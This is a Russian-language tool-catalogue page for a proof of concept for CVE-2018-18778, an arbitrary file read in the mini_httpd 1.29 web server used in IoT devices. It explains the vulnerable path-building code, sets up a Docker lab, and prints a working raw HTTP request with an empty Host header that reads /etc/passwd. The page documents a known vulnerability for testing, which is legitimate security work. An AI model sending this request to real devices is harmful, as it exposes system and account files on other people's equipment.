Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/cyberharsh/mini_httpd-cve-2018-18778
Безопасность встроенных системБезопасность IoTАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззинг
GitHubcyberharsh/mini_httpd-cve-2018-18778

Mini_httpd-CVE-2018-18778

PoC-эксплойт для CVE-2018-18778: произвольное чтение файла в mini_httpd 1.29 через пустой заголовок Host, затрагивающий IoT-устройства от Huawei, Zyxel и других.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
6 лет назадЕщё не проверено

Уязвимость произвольного чтения файлов в mini_httpd (CVE-2018-18778)

Mini_httpd — это миниатюрный HTTP-сервер, который при низком потреблении системных ресурсов сохраняет определённый уровень производительности (около 90% от Apache). Поэтому он широко используется в различных IoT-устройствах (маршрутизаторах, коммутаторах, камерах и т.д.) в качестве встроенного сервера. В числе производителей, чьи устройства использовали компонент Mini_httpd, — Huawei, Zyxel, Hikvision, Raspberry Pi и другие.

Если в mini_httpd включён режим виртуальных хостов, то при запросе http://HOST/FILE будет осуществляться доступ к файлу HOST/FILE в текущем каталоге.

root@kitploit:~
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

См. приведённый код. Анализ:

  • Когда HOST=example.com, FILE=index.html, результатом указанного оператора будет example.com/index.html — файл читается нормально.
  • Когда HOST пуст, а FILE=etc/passwd, результатом будет /etc/passwd.

В последнем случае путь интерпретируется как абсолютный, и происходит чтение /etc/passwd, что приводит к уязвимости произвольного чтения файлов.

Настройка окружения

Выполните следующую команду для запуска mini_httpd 1.29:

root@kitploit:~
docker-compose up -d

После запуска окружения откройте в браузере http://your-ip:8080, чтобы увидеть веб-страницу.

Воспроизведение уязвимости

Отправьте запрос, установив Host пустым, а в PATH указав абсолютный путь к файлу:

root@kitploit:~
GET /etc/passwd HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


Файл успешно прочитан:

Скачать инструмент